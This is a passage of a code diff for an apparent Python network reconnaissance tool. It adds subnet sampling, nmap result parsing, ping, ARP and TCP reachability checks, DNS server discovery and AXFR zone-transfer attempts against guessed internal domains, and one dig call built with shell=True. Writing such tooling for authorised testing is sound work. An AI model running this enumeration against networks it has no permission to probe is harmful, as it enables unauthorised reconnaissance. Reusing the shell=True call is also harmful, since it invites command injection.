172.16.0.0/12 (172.16.0.0 to 172.31.255.255) + elif ip_str.startswith('172.'): + octets = ip_str.split('.') + second_octet = int(octets[1]) + if 16 <= second_octet <= 31: + network_prefix = f"{octets[0]}.{octets[1]}" + rfc1918_networks['class_b'].add(f"{network_prefix}.0.0/16") + + # Class C: 192.168.0.0/16 + elif ip_str.startswith('192.168.'): + octets = ip_str.split('.') + network_prefix = f"{octets[0]}.{octets[1]}.{octets[2]}" + rfc1918_networks['class_c'].add(f"{network_prefix}.0/24") + else: + non_rfc1918_ips.append(target) + + except ValueError: + # Not an IP address, likely a hostname + hostnames.append(target) + + return rfc1918_networks, non_rfc1918_ips, hostnames + +def discover_services_from_nmap(base_dir): + """Parse nmap results to discover services for enhanced enumeration.""" + services = {} + nmap_dir = os.path.join(base_dir, "scans", "nmap") + + # Parse nmap gnmap files for services + for nmap_file in Path(nmap_dir).glob("*.gnmap"): + try: + with open(nmap_file, 'r') as f: + for line in f: + if "open" in line: + parts = line.split() + if len(parts) > 1: + ip = parts[1] + if ip not in services: + services[ip] = [] + + # Extract port info + port_info = [p for p in parts if "open" in p] + for port_data in port_info: + port_match = re.search(r'(\d+)/(tcp|udp)', port_data) + service_match = re.search(r'//(.+?)/', port_data) + + if port_match: + port = port_match.group(1) + protocol = port_match.group(2) + service = service_match.group(1) if service_match else "unknown" + + service_info = { + 'port': port, + 'protocol': protocol, + 'service': service, + 'ssl': 'ssl' in port_data or 'https' in port_data + } + + if service_info not in services[ip]: + services[ip].append(service_info) + except Exception as e: + print(f"{Colors.WARNING}[!] Error parsing {nmap_file}: {e}{Colors.ENDC}") + + return services + +# Network Reachability Testing Functions +def test_icmp_connectivity(target, timeout=REACHABILITY_TIMEOUT): + """Test ICMP connectivity using ping.""" + try: + if sys.platform.startswith('win'): + result = subprocess.run(['ping', '-n', '1', '-w', str(timeout*1000), target], + capture_output=True, text=True, timeout=timeout+2) + else: + result = subprocess.run(['ping', '-c', '1', '-W', str(timeout), target], + capture_output=True, text=True, timeout=timeout+2) + return result.returncode == 0 + except (subprocess.TimeoutExpired, subprocess.CalledProcessError, FileNotFoundError): + return False + +def test_dns_connectivity(dns_server, timeout=3): + """Test DNS server connectivity with actual DNS query.""" + try: + # Test UDP DNS first with a real DNS query + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.settimeout(timeout) + + # DNS query for google.com (more realistic than generic UDP test) + dns_query = b'\x12\x34\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x06google\x03com\x00\x00\x01\x00\x01' + sock.sendto(dns_query, (dns_server, 53)) + + # Wait for response + response, addr = sock.recvfrom(1024) + sock.close() + + # Check if we got a valid DNS response + if len(response) > 12: # Minimum DNS response size + return True + + except (socket.error, socket.timeout): + pass + + # Fallback: test TCP connectivity to port 53 + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(timeout) + result = sock.connect_ex((dns_server, 53)) + sock.close() + return result == 0 + except (socket.error, socket.timeout): + return False + +def test_tcp_connectivity(target, port, timeout=REACHABILITY_TIMEOUT): + """Test TCP connectivity to specific port.""" + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(timeout) + result = sock.connect_ex((target, port)) + sock.close() + return result == 0 + except (socket.error, socket.timeout): + return False + +def test_udp_connectivity(target, port=53, timeout=REACHABILITY_TIMEOUT): + """Test UDP connectivity (primarily DNS).""" + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.settimeout(timeout) + # Send a simple DNS query for connectivity test + if port == 53: + # Simple DNS query packet for google.com + dns_query = b'\x12\x34\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x06google\x03com\x00\x00\x01\x00\x01' + sock.sendto(dns_query, (target, port)) + data, addr = sock.recvfrom(1024) + sock.close() + return True + else: + # For other UDP ports, just try to send a packet + sock.sendto(b'test', (target, port)) + sock.close() + return True + except (socket.error, socket.timeout): + return False + +def test_comprehensive_connectivity(target, debug=False): + """Run comprehensive connectivity tests for a single target.""" + results = { + 'target': target, + 'icmp': False, + 'tcp_ports': {}, + 'udp_dns': False, + 'reachable': False, + 'response_time': 0, + 'best_ports': [] + } + + start_time = time.time() + + # Test ICMP first + if debug: + print(f"{Colors.OKCYAN}[DEBUG] Testing ICMP to {target}{Colors.ENDC}") + + results['icmp'] = test_icmp_connectivity(target) + + # Test common TCP ports + tcp_results = {} + for port in REACHABILITY_PORTS: + if debug: + print(f"{Colors.OKCYAN}[DEBUG] Testing TCP {target}:{port}{Colors.ENDC}") + tcp_results[port] = test_tcp_connectivity(target, port) + if tcp_results[port]: + results['best_ports'].append(port) + + results['tcp_ports'] = tcp_results + + # Test UDP DNS + if debug: + print(f"{Colors.OKCYAN}[DEBUG] Testing UDP DNS to {target}{Colors.ENDC}") + results['udp_dns'] = test_udp_connectivity(target, 53) + + # Determine overall reachability + results['reachable'] = (results['icmp'] or + any(tcp_results.values()) or + results['udp_dns']) + + results['response_time'] = round(time.time() - start_time, 2) + + return results + +def analyze_network_infrastructure(targets, debug=False): + """Analyze targets and identify key network infrastructure to test.""" + infrastructure = { + 'subnets': {}, # Changed from 'enclaves' to 'subnets' + 'individual_hosts': [], + 'dns_servers': set(), + 'analysis_summary': {}, + 'total_original_targets': 0 # Track original scope + } + + print(f"{Colors.OKGREEN}[+] Analyzing Target Infrastructure{Colors.ENDC}") + + # Count original targets for reduction metrics + total_original = 0 + for target in targets: + try: + if '/' in target: + network = ipaddress.ip_network(target, strict=False) + total_original += network.num_addresses - 2 # Exclude network and broadcast + else: + total_original += 1 + except ValueError: + total_original += 1 + + infrastructure['total_original_targets'] = total_original + print(f"{Colors.OKBLUE}[*] Original scope: ~{total_original:,} potential targets{Colors.ENDC}") + print(f"{Colors.OKBLUE}[*] Performing intelligent analysis to avoid brute force scanning...{Colors.ENDC}") + + subnet_count = 0 + + for target in targets: + try: + # Try to parse as IP address + ip_obj = ipaddress.ip_address(target) + + # Determine which subnet/network this belongs to + if ip_obj.is_private: + octets = str(ip_obj).split('.') + + # Group by /24 networks for now (can be adjusted) + if octets[0] == '10': + # For 10.x networks, group by /16 + subnet_key = f"{octets[0]}.{octets[1]}.0.0/16" + elif octets[0] == '172' and 16 <= int(octets[1]) <= 31: + # For 172.16-31 networks, group by /16 + subnet_key = f"{octets[0]}.{octets[1]}.0.0/16" + elif octets[0] == '192' and octets[1] == '168': + # For 192.168 networks, group by /24 + subnet_key = f"{octets[0]}.{octets[1]}.{octets[2]}.0/24" + else: + # Other private ranges, group by /24 + subnet_key = f"{octets[0]}.{octets[1]}.{octets[2]}.0/24" + else: + # Public IP - each gets its own "subnet" + subnet_key = f"public_{str(ip_obj)}" + + # Initialize subnet if not seen before + if subnet_key not in infrastructure['subnets']: + subnet_count += 1 + infrastructure['subnets'][subnet_key] = { + 'network': subnet_key, + 'targets': [], + 'sample_targets': [], + 'key_infrastructure': [], + 'subnet_id': subnet_count + } + + # Add key infrastructure for this subnet + try: + network = ipaddress.ip_network(subnet_key, strict=False) + if network.is_private and network.num_addresses > 2: + # Add potential gateways and key servers + base_ip = str(network.network_address).split('.') + key_ips = [ + f"{base_ip[0]}.{base_ip[1]}.{base_ip[2]}.1", # Common gateway + f"{base_ip[0]}.{base_ip[1]}.{base_ip[2]}.254", # Alt gateway + f"{base_ip[0]}.{base_ip[1]}.{base_ip[2]}.10", # Common server IP + f"{base_ip[0]}.{base_ip[1]}.{base_ip[2]}.53", # DNS server + f"{base_ip[0]}.{base_ip[1]}.{base_ip[2]}.100", # Common server range + ] + + # Only add IPs that are actually in the network + for key_ip in key_ips: + try: + if ipaddress.ip_address(key_ip) in network: + infrastructure['subnets'][subnet_key]['key_infrastructure'].append(key_ip) + except ValueError: + pass + except ValueError: + pass + + # Add target to subnet + infrastructure['subnets'][subnet_key]['targets'].append(str(ip_obj)) + + except ValueError: + # Handle CIDR ranges + if '/' in target: + try: + network = ipaddress.ip_network(target, strict=False) + subnet_key = str(network) + + if subnet_key not in infrastructure['subnets']: + subnet_count += 1 + infrastructure['subnets'][subnet_key] = { + 'network': subnet_key, + 'targets': [], + 'sample_targets': [], + 'key_infrastructure': [], + 'subnet_id': subnet_count, + 'is_full_network': True + } + + # For full networks, we'll sample them intelligently (not all hosts) + all_hosts = list(network.hosts()) + if len(all_hosts) > 50: + # Large network - take strategic samples + sample_hosts = all_hosts[:10] + all_hosts[-10:] + all_hosts[len(all_hosts)//2:len(all_hosts)//2+10] + infrastructure['subnets'][subnet_key]['targets'] = [str(h) for h in sample_hosts[:30]] + else: + # Small network - include all + infrastructure['subnets'][subnet_key]['targets'] = [str(h) for h in all_hosts] + + except ValueError: + infrastructure['individual_hosts'].append(target) + else: + # Hostname or IP range + infrastructure['individual_hosts'].append(target) + + # Generate sample targets for each subnet (for testing) - SMALL samples only + for subnet_key, subnet_data in infrastructure['subnets'].items(): + targets_in_subnet = subnet_data['targets'] + + if len(targets_in_subnet) <= 5: + # Very small subnet - test all targets + subnet_data['sample_targets'] = targets_in_subnet.copy() + else: + # Larger subnet - SMALL intelligent sampling (max 8 targets) + sample_size = min(8, max(3, len(targets_in_subnet) // 20)) # Much smaller sample + + # Always include first, last, and some middle targets + samples = [] + samples.append(targets_in_subnet[0]) # First + if len(targets_in_subnet) > 1: + samples.append(targets_in_subnet[-1]) # Last + + # Add evenly distributed samples + remaining = sample_size - len(samples) + if remaining > 0 and len(targets_in_subnet) > 2: + step = len(targets_in_subnet) // (remaining + 1) + for i in range(remaining): + idx = (i + 1) * step + if idx < len(targets_in_subnet): + samples.append(targets_in_subnet[idx]) + + subnet_data['sample_targets'] = list(set(samples)) + + # Add key infrastructure to samples + subnet_data['sample_targets'].extend(subnet_data['key_infrastructure']) + subnet_data['sample_targets'] = list(set(subnet_data['sample_targets'])) + + # Discover system DNS servers + try: + with open('/etc/resolv.conf', 'r') as f: + for line in f: + if line.startswith('nameserver'): + dns_ip = line.split()[1] + try: + ipaddress.ip_address(dns_ip) + infrastructure['dns_servers'].add(dns_ip) + except ValueError: + pass + except FileNotFoundError: + pass + + # Add common external DNS if none found + if not infrastructure['dns_servers']: + infrastructure['dns_servers'].update(['8.8.8.8', '1.1.1.1']) + + # Generate summary + total_samples = sum(len(e['sample_targets']) for e in infrastructure['subnets'].values()) + infrastructure['analysis_summary'] = { + 'total_subnets': len(infrastructure['subnets']), + 'total_targets': sum(len(e['targets']) for e in infrastructure['subnets'].values()), + 'total_samples': total_samples, + 'individual_hosts': len(infrastructure['individual_hosts']), + 'dns_servers': len(infrastructure['dns_servers']), + 'reduction_ratio': total_original / max(total_samples, 1) + } + + # Print detailed analysis + print(f"{Colors.OKGREEN}[+] Infrastructure Analysis Complete{Colors.ENDC}") + reduction_pct = (1 - total_samples / total_original) * 100 + print(f"{Colors.OKGREEN}[+] Smart sampling: {total_samples:,} tests vs {total_original:,} original ({reduction_pct:.1f}% reduction){Colors.ENDC}") + + print(f"{Colors.OKBLUE}[*] Identified {len(infrastructure['subnets'])} network subnets:{Colors.ENDC}") + + for subnet_key, subnet_data in infrastructure['subnets'].items(): + subnet_id = subnet_data['subnet_id'] + target_count = len(subnet_data['targets']) + sample_count = len(subnet_data['sample_targets']) + + print(f"{Colors.OKCYAN} [{subnet_id}] {subnet_key}: {target_count} targets โ†’ {sample_count} samples{Colors.ENDC}") + + return infrastructure + +def test_subnet_reachability(infrastructure, debug=False, timeout=3): + """Test each subnet independently to determine reachability.""" + results = { + 'reachable_subnets': {}, + 'unreachable_subnets': {}, + 'dns_servers': {'reachable': [], 'unreachable': []}, + 'individual_hosts': {'reachable': [], 'unreachable': []}, + 'testing_summary': {} + } + + print(f"\n{Colors.OKGREEN}[+] Testing Subnet Reachability{Colors.ENDC}") + print(f"{Colors.OKBLUE}[*] Strategy: ANY response from subnet = entire subnet reachable{Colors.ENDC}") + + # Test DNS servers first + dns_servers_list = list(infrastructure['dns_servers']) + total_dns = len(dns_servers_list) + + if total_dns > 0: + print(f"{Colors.OKBLUE}[*] Step 1: Testing DNS connectivity ({total_dns} servers){Colors.ENDC}") + + for dns_idx, dns_server in enumerate(dns_servers_list, 1): + print(f"{Colors.OKCYAN} [{dns_idx}/{total_dns}] Testing DNS server {dns_server}...{Colors.ENDC}", end=' ') + + is_reachable = test_dns_connectivity(dns_server, timeout) + + if is_reachable: + results['dns_servers']['reachable'].append(dns_server) + print(f"{Colors.OKGREEN}โœ“ REACHABLE{Colors.ENDC}") + else: + results['dns_servers']['unreachable'].append(dns_server) + print(f"{Colors.FAIL}โœ— UNREACHABLE{Colors.ENDC}") + + print(f"{Colors.OKBLUE}[*] DNS Summary: {len(results['dns_servers']['reachable'])}/{total_dns} reachable{Colors.ENDC}") + + # Test each subnet - handle both 'subnets' and 'enclaves' keys for compatibility + subnet_dict = infrastructure.get('subnets', infrastructure.get('enclaves', {})) + total_subnets = len(subnet_dict) + + print(f"\n{Colors.OKBLUE}[*] Step 2: Testing Network Subnet Reachability ({total_subnets} subnets){Colors.ENDC}") + + subnet_counter = 0 + for subnet_key, subnet_data in subnet_dict.items(): + subnet_counter += 1 + subnet_id = subnet_data['subnet_id'] + sample_targets = subnet_data['sample_targets'] + + print(f"\n{Colors.OKCYAN}[{subnet_counter}/{total_subnets}] Testing subnet: {subnet_key} (ID: {subnet_id}){Colors.ENDC}") + print(f"{Colors.OKCYAN} Sample size: {len(sample_targets)} targets{Colors.ENDC}") + + # Test samples in parallel + subnet_results = [] + reachable_count = 0 + + with ThreadPoolExecutor(max_workers=min(20, len(sample_targets))) as executor: + future_to_target = { + executor.submit(test_basic_connectivity, target, timeout): target + for target in sample_targets + } + + target_counter = 0 + for future in as_completed(future_to_target): + target = future_to_target[future] + target_counter += 1 + try: + is_reachable = future.result() + subnet_results.append((target, is_reachable)) + + if is_reachable: + reachable_count += 1 + if debug: + print(f"{Colors.OKGREEN} [{target_counter}/{len(sample_targets)}] โœ“ {target}{Colors.ENDC}") + else: + if debug: + print(f"{Colors.FAIL} [{target_counter}/{len(sample_targets)}] โœ— {target}{Colors.ENDC}") + + except Exception as e: + subnet_results.append((target, False)) + if debug: + print(f"{Colors.WARNING} [{target_counter}/{len(sample_targets)}] ! {target} (error: {e}){Colors.ENDC}") + + # Calculate reachability + reachability_percentage = (reachable_count / len(sample_targets)) * 100 if sample_targets else 0 + + print(f"{Colors.OKCYAN} Results: {reachable_count}/{len(sample_targets)} samples reachable ({reachability_percentage:.1f}%){Colors.ENDC}") + + # New logic: ANY response means subnet is reachable + if reachable_count > 0: + results['reachable_subnets'][subnet_key] = { + 'subnet_data': subnet_data, + 'sample_results': subnet_results, + 'reachable_count': reachable_count, + 'total_tested': len(sample_targets), + 'reachability_percentage': reachability_percentage, + 'confidence': 'high' if reachability_percentage >= 50 else 'medium' if reachable_count >= 3 else 'low' + } + confidence = results['reachable_subnets'][subnet_key]['confidence'] + print(f"{Colors.OKGREEN} โ†’ Subnet REACHABLE (confidence: {confidence.upper()}){Colors.ENDC}") + else: + results['unreachable_subnets'][subnet_key] = { + 'subnet_data': subnet_data, + 'sample_results': subnet_results, + 'reachable_count': reachable_count, + 'total_tested': len(sample_targets), + 'reachability_percentage': reachability_percentage + } + print(f"{Colors.FAIL} โ†’ Subnet UNREACHABLE (zero response - no routing){Colors.ENDC}") + + # Show overall progress + remaining_subnets = total_subnets - subnet_counter + if remaining_subnets > 0: + print(f"{Colors.OKBLUE} Progress: {subnet_counter}/{total_subnets} subnets completed ({remaining_subnets} remaining){Colors.ENDC}") + + # Test individual hosts + individual_hosts = infrastructure['individual_hosts'] + total_individual = len(individual_hosts) + + if total_individual > 0: + print(f"\n{Colors.OKBLUE}[*] Step 3: Testing Individual Hosts ({total_individual} hosts){Colors.ENDC}") + + with ThreadPoolExecutor(max_workers=20) as executor: + future_to_host = { + executor.submit(test_basic_connectivity, host, timeout): host + for host in individual_hosts + } + + host_counter = 0 + for future in as_completed(future_to_host): + host = future_to_host[future] + host_counter += 1 + try: + is_reachable = future.result() + if is_reachable: + results['individual_hosts']['reachable'].append(host) + print(f"{Colors.OKGREEN} [{host_counter}/{total_individual}] โœ“ {host}{Colors.ENDC}") + else: + results['individual_hosts']['unreachable'].append(host) + print(f"{Colors.FAIL} [{host_counter}/{total_individual}] โœ— {host}{Colors.ENDC}") + except Exception as e: + results['individual_hosts']['unreachable'].append(host) + print(f"{Colors.WARNING} [{host_counter}/{total_individual}] ! {host} (error){Colors.ENDC}") + + # Generate testing summary + results['testing_summary'] = { + 'total_subnets_tested': total_subnets, + 'reachable_subnets_count': len(results['reachable_subnets']), + 'unreachable_subnets_count': len(results['unreachable_subnets']), + 'subnet_reachability_percentage': len(results['reachable_subnets']) / max(total_subnets, 1) * 100, + 'dns_reachability_percentage': len(results['dns_servers']['reachable']) / max(total_dns, 1) * 100 if total_dns > 0 else 0 + } + + return results + +def test_basic_connectivity(target, timeout=3): + """Test basic connectivity using multiple methods quickly.""" + # Method 1: ICMP ping (fastest) + try: + if sys.platform.startswith('win'): + result = subprocess.run(['ping', '-n', '1', '-w', str(timeout*1000), target], + capture_output=True, text=True, timeout=timeout+1) + else: + result = subprocess.run(['ping', '-c', '1', '-W', str(timeout), target], + capture_output=True, text=True, timeout=timeout+1) + + if result.returncode == 0: + return True + except (subprocess.TimeoutExpired, subprocess.CalledProcessError, FileNotFoundError): + pass + + # Method 2: ARP ping for local networks (often more reliable than ICMP) + try: + # Check if target appears to be in local network (basic check) + target_ip = ipaddress.ip_address(target) + if target_ip.is_private: + # Use nmap ARP ping for local networks + result = subprocess.run(['nmap', '-PR', '-sn', '--max-retries', '1', + '--max-rtt-timeout', f'{timeout}s', target], + capture_output=True, text=True, timeout=timeout+2) + if result.returncode == 0 and "Host is up" in result.stdout: + return True + except (subprocess.TimeoutExpired, subprocess.CalledProcessError, FileNotFoundError, ValueError): + pass + + # Method 3: Quick TCP tests on common ports + common_ports = [22, 80, 443, 135, 139, 445, 3389] + + for port in common_ports: + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(timeout / len(common_ports)) + result = sock.connect_ex((target, port)) + sock.close() + + if result == 0: + return True + except (socket.error, socket.timeout): + continue + + return False + +def test_optimized_connectivity(targets, timeout=3, debug=False): + """Optimized connectivity testing with fastest methods first and verified host tracking.""" + verified_hosts = set() + unverified_hosts = set(targets) + + print(f"{Colors.OKBLUE}[*] Optimized connectivity testing: fastest methods first{Colors.ENDC}") + + # Phase 1: ICMP ping sweep (fastest method) + print(f"{Colors.OKCYAN}[*] Phase 1: ICMP ping sweep (fastest)...{Colors.ENDC}") + icmp_verified = 0 + for target in list(unverified_hosts): + try: + if sys.platform.startswith('win'): + result = subprocess.run(['ping', '-n', '1', '-w', str(timeout*1000), target], + capture_output=True, text=True, timeout=timeout+1) + else: + result = subprocess.run(['ping', '-c', '1', '-W', str(timeout), target], + capture_output=True, text=True, timeout=timeout+1) + + if result.returncode == 0: + verified_hosts.add(target) + unverified_hosts.remove(target) + icmp_verified += 1 + if debug: + print(f"{Colors.OKGREEN}[+] ICMP: {target} verified{Colors.ENDC}") + except (subprocess.TimeoutExpired, subprocess.CalledProcessError, FileNotFoundError): + continue + + print(f"{Colors.OKGREEN}[+] ICMP verified: {icmp_verified} hosts, {len(unverified_hosts)} remaining{Colors.ENDC}") + + if not unverified_hosts: + return list(verified_hosts), [] + + # Phase 2: ARP ping for local networks (often catches hosts that don't respond to ICMP) + print(f"{Colors.OKCYAN}[*] Phase 2: ARP ping for remaining local network hosts...{Colors.ENDC}") + arp_verified = 0 + for target in list(unverified_hosts): + try: + target_ip = ipaddress.ip_address(target) + if target_ip.is_private: + result = subprocess.run(['nmap', '-PR', '-sn', '--max-retries', '1', + '--max-rtt-timeout', f'{timeout}s', target], + capture_output=True, text=True, timeout=timeout+2) + if result.returncode == 0 and "Host is up" in result.stdout: + verified_hosts.add(target) + unverified_hosts.remove(target) + arp_verified += 1 + if debug: + print(f"{Colors.OKGREEN}[+] ARP: {target} verified{Colors.ENDC}") + except (subprocess.TimeoutExpired, subprocess.CalledProcessError, FileNotFoundError, ValueError): + continue + + print(f"{Colors.OKGREEN}[+] ARP verified: {arp_verified} hosts, {len(unverified_hosts)} remaining{Colors.ENDC}") + + if not unverified_hosts: + return list(verified_hosts), [] + + # Phase 3: TCP port checks for remaining hosts (thorough but slower) + print(f"{Colors.OKCYAN}[*] Phase 3: TCP port checks for remaining {len(unverified_hosts)} hosts...{Colors.ENDC}") + tcp_verified = 0 + common_ports = [22, 80, 443, 135, 139, 445, 3389] + + for target in list(unverified_hosts): + for port in common_ports: + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(timeout / len(common_ports)) + result = sock.connect_ex((target, port)) + sock.close() + + if result == 0: + verified_hosts.add(target) + unverified_hosts.remove(target) + tcp_verified += 1 + if debug: + print(f"{Colors.OKGREEN}[+] TCP: {target}:{port} verified{Colors.ENDC}") + break # Host verified, no need to test other ports + except (socket.error, socket.timeout): + continue + + print(f"{Colors.OKGREEN}[+] TCP verified: {tcp_verified} hosts, {len(unverified_hosts)} remaining{Colors.ENDC}") + + # Note: DNS testing is handled separately as it's already optimized but slow + # DNS testing should be done last if all other methods fail + + print(f"{Colors.OKGREEN}[+] Fast connectivity testing complete: {len(verified_hosts)} verified, {len(unverified_hosts)} for DNS testing{Colors.ENDC}") + + return list(verified_hosts), list(unverified_hosts) + +def generate_conservative_target_list(infrastructure, subnet_results, debug=False): + """Generate a realistic target list based on actual reachability testing.""" + + print(f"\n{Colors.OKGREEN}[+] Generating Realistic Target List{Colors.ENDC}") + print(f"{Colors.OKBLUE}[*] Logic: ANY reachable host in subnet = entire subnet is reachable{Colors.ENDC}") + + final_targets = [] + decision_log = [] + + # Add reachable DNS servers + dns_targets = subnet_results['dns_servers']['reachable'] + if dns_targets: + final_targets.extend(dns_targets) + decision_log.append(f"Added {len(dns_targets)} reachable DNS servers") + print(f"{Colors.OKCYAN}[+] DNS Servers: Added {len(dns_targets)} confirmed reachable{Colors.ENDC}") + + # Process ALL subnets - if ANY sample responds, include the whole subnet + all_subnets = {**subnet_results['reachable_subnets'], **subnet_results['unreachable_subnets']} + + for subnet_key, subnet_info in all_subnets.items(): + subnet_data = subnet_info['subnet_data'] + reachable_count = subnet_info['reachable_count'] + total_tested = subnet_info['total_tested'] + reachability_pct = subnet_info['reachability_percentage'] + + print(f"\n{Colors.OKCYAN}[{subnet_data['subnet_id']}] Processing subnet: {subnet_key}{Colors.ENDC}") + print(f"{Colors.OKCYAN} Test Results: {reachable_count}/{total_tested} samples responded ({reachability_pct:.1f}%){Colors.ENDC}") + + if reachable_count > 0: + # ANY response means the network is reachable + targets_to_add = subnet_data['targets'] + final_targets.extend(targets_to_add) + + # Determine confidence level for user awareness + if reachability_pct >= 50: + confidence = "HIGH" + reason = "majority of samples responded" + elif reachable_count >= 3: + confidence = "MEDIUM" + reason = "multiple samples responded" + else: + confidence = "LOW" + reason = "minimal samples responded, but network is routable" + + decision_log.append(f"subnet {subnet_key}: added all {len(targets_to_add)} targets (confidence: {confidence})") + print(f"{Colors.OKGREEN} โ†’ INCLUDED all {len(targets_to_add)} targets{Colors.ENDC}") + print(f"{Colors.OKGREEN} โ†’ Confidence: {confidence} ({reason}){Colors.ENDC}") + + else: + # Absolutely no response - likely not routable + decision_log.append(f"subnet {subnet_key}: excluded - zero response from all {total_tested} samples") + print(f"{Colors.FAIL} โ†’ EXCLUDED (zero response from all samples - likely not routable){Colors.ENDC}") + + # Add individual reachable hosts + individual_reachable = subnet_results['individual_hosts']['reachable'] + if individual_reachable: + final_targets.extend(individual_reachable) + decision_log.append(f"Added {len(individual_reachable)} individual reachable hosts") + print(f"{Colors.OKCYAN}[+] Individual Hosts: Added {len(individual_reachable)} confirmed reachable{Colors.ENDC}") + + # Remove duplicates while preserving order + seen = set() + unique_targets = [] + for target in final_targets: + if target not in seen: + seen.add(target) + unique_targets.append(target) + + print(f"\n{Colors.OKGREEN}[+] Realistic Target List Summary:{Colors.ENDC}") + print(f"{Colors.OKBLUE}[*] Total unique targets: {len(unique_targets)}{Colors.ENDC}") + print(f"{Colors.OKBLUE}[*] Original target count: {infrastructure['analysis_summary']['total_targets']}{Colors.ENDC}") + + if infrastructure['analysis_summary']['total_targets'] > 0: + reduction_pct = (1 - len(unique_targets) / infrastructure['analysis_summary']['total_targets']) * 100 + if reduction_pct > 0: + print(f"{Colors.OKBLUE}[*] Filtered out: {reduction_pct:.1f}% (unreachable networks){Colors.ENDC}") + else: + print(f"{Colors.OKBLUE}[*] No networks filtered - all appear reachable{Colors.ENDC}") + + return unique_targets, decision_log + +def run_dns_intelligence_gathering(targets, base_dir=None, debug=False, timeout=5): + """Run comprehensive DNS intelligence gathering as first phase of reachability testing.""" + + if base_dir: + dns_dir = os.path.join(base_dir, "scans", "dns") + os.makedirs(dns_dir, exist_ok=True) + else: + dns_dir = "./dns_intelligence" + os.makedirs(dns_dir, exist_ok=True) + + print(f"{Colors.OKGREEN}[+] DNS Intelligence Gathering Phase{Colors.ENDC}") + print(f"{Colors.OKBLUE}[*] Strategy: Extract reachable hosts from DNS before connectivity testing{Colors.ENDC}") + + start_time = time.time() + + # Phase 1: Discover DNS servers + dns_servers = discover_dns_servers(targets, debug) + print(f"{Colors.OKBLUE}[*] Found {len(dns_servers)} DNS servers to query{Colors.ENDC}") + + # Phase 2: Attempt zone transfers + zone_transfer_results = attempt_zone_transfers(dns_servers, debug, timeout) + + # Phase 3: Reverse DNS sweeps + reverse_dns_results = perform_reverse_dns_sweeps(targets, dns_servers, debug, timeout) + + # Phase 4: Forward DNS brute forcing + forward_dns_results = perform_forward_dns_enumeration(targets, dns_servers, debug, timeout) + + # Phase 5: Compile intelligence + dns_intelligence = compile_dns_intelligence( + zone_transfer_results, reverse_dns_results, forward_dns_results, debug + ) + + total_time = time.time() - start_time + + # Generate reports + timestamp = time.strftime("%Y%m%d_%H%M%S") + generate_dns_intelligence_reports(dns_intelligence, dns_dir, timestamp, total_time) + + return dns_intelligence + +def discover_dns_servers(targets, debug=False): + """Discover all potential DNS servers from targets and system config.""" + dns_servers = set() + + print(f"{Colors.OKBLUE}[*] Phase 1: DNS Server Discovery{Colors.ENDC}") + + # Get system DNS servers + try: + with open('/etc/resolv.conf', 'r') as f: + for line in f: + if line.startswith('nameserver'): + dns_ip = line.split()[1] + try: + ipaddress.ip_address(dns_ip) + dns_servers.add(dns_ip) + if debug: + print(f"{Colors.OKCYAN} Found system DNS: {dns_ip}{Colors.ENDC}") + except ValueError: + pass + except FileNotFoundError: + pass + + # Extract potential DNS servers from target networks + for target in targets: + try: + if '/' in target: + # CIDR network + network = ipaddress.ip_network(target, strict=False) + if network.is_private and network.num_addresses > 2: + # Common DNS server positions in networks + common_dns_positions = [1, 2, 10, 53, 100] + base_ip = str(network.network_address) + + for pos in common_dns_positions: + try: + dns_candidate = str(list(network.hosts())[pos-1]) + dns_servers.add(dns_candidate) + except (IndexError, ValueError): + pass + else: + # Individual IP - check if it could be a DNS server + try: + ip_obj = ipaddress.ip_address(target) + if ip_obj.is_private: + octets = str(ip_obj).split('.') + # Add likely DNS servers in same subnet + subnet_dns = [ + f"{octets[0]}.{octets[1]}.{octets[2]}.1", + f"{octets[0]}.{octets[1]}.{octets[2]}.2", + f"{octets[0]}.{octets[1]}.{octets[2]}.10", + f"{octets[0]}.{octets[1]}.{octets[2]}.53" + ] + dns_servers.update(subnet_dns) + except ValueError: + pass + except ValueError: + continue + + # Add common external DNS servers + dns_servers.update(['8.8.8.8', '8.8.4.4', '1.1.1.1', '1.0.0.1']) + + # Test which DNS servers actually respond + working_dns = [] + print(f"{Colors.OKCYAN} Testing {len(dns_servers)} potential DNS servers...{Colors.ENDC}") + + with ThreadPoolExecutor(max_workers=20) as executor: + future_to_dns = { + executor.submit(test_dns_connectivity, dns_server, 3): dns_server + for dns_server in dns_servers + } + + for future in as_completed(future_to_dns): + dns_server = future_to_dns[future] + try: + if future.result(): + working_dns.append(dns_server) + if debug: + print(f"{Colors.OKGREEN} โœ“ {dns_server}{Colors.ENDC}") + except Exception: + pass + + print(f"{Colors.OKGREEN} โ†’ {len(working_dns)} working DNS servers found{Colors.ENDC}") + return working_dns + +def attempt_zone_transfers(dns_servers, debug=False, timeout=10): + """Attempt DNS zone transfers (AXFR) from discovered domains.""" + print(f"\n{Colors.OKBLUE}[*] Phase 2: DNS Zone Transfer Attempts{Colors.ENDC}") + + zone_results = { + 'successful_transfers': {}, + 'failed_transfers': [], + 'discovered_domains': set(), + 'discovered_hosts': set() + } + + # Common internal domain patterns to try + common_domains = [ + 'local', 'internal', 'corp', 'company', 'domain', 'ad', 'lan', + 'intranet', 'office', 'net', 'priv', 'private' + ] + + # Also try reverse zones for common private networks + reverse_zones = [ + '10.in-addr.arpa', '168.192.in-addr.arpa', + '16.172.in-addr.arpa', '17.172.in-addr.arpa', '18.172.in-addr.arpa' + ] + + all_zones_to_try = common_domains + reverse_zones + + print(f"{Colors.OKCYAN} Attempting zone transfers for {len(all_zones_to_try)} common zones...{Colors.ENDC}") + + for dns_server in dns_servers[:5]: # Limit to first 5 DNS servers + for zone in all_zones_to_try: + try: + if debug: + print(f"{Colors.OKCYAN} Trying {zone} from {dns_server}...{Colors.ENDC}") + + # Use dig for zone transfer + cmd = f"dig @{dns_server} {zone} AXFR +time={timeout}" + result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=timeout) + + if result.returncode == 0 and len(result.stdout) > 100: + # Successful transfer + zone_results['successful_transfers'][f"{dns_server}_{zone}"] = result.stdout + zone_results['discovered_domains'].add(zone) + + # Parse hosts from zone transfer + for line in result.stdout.split('\n'): + if '\tA\t' 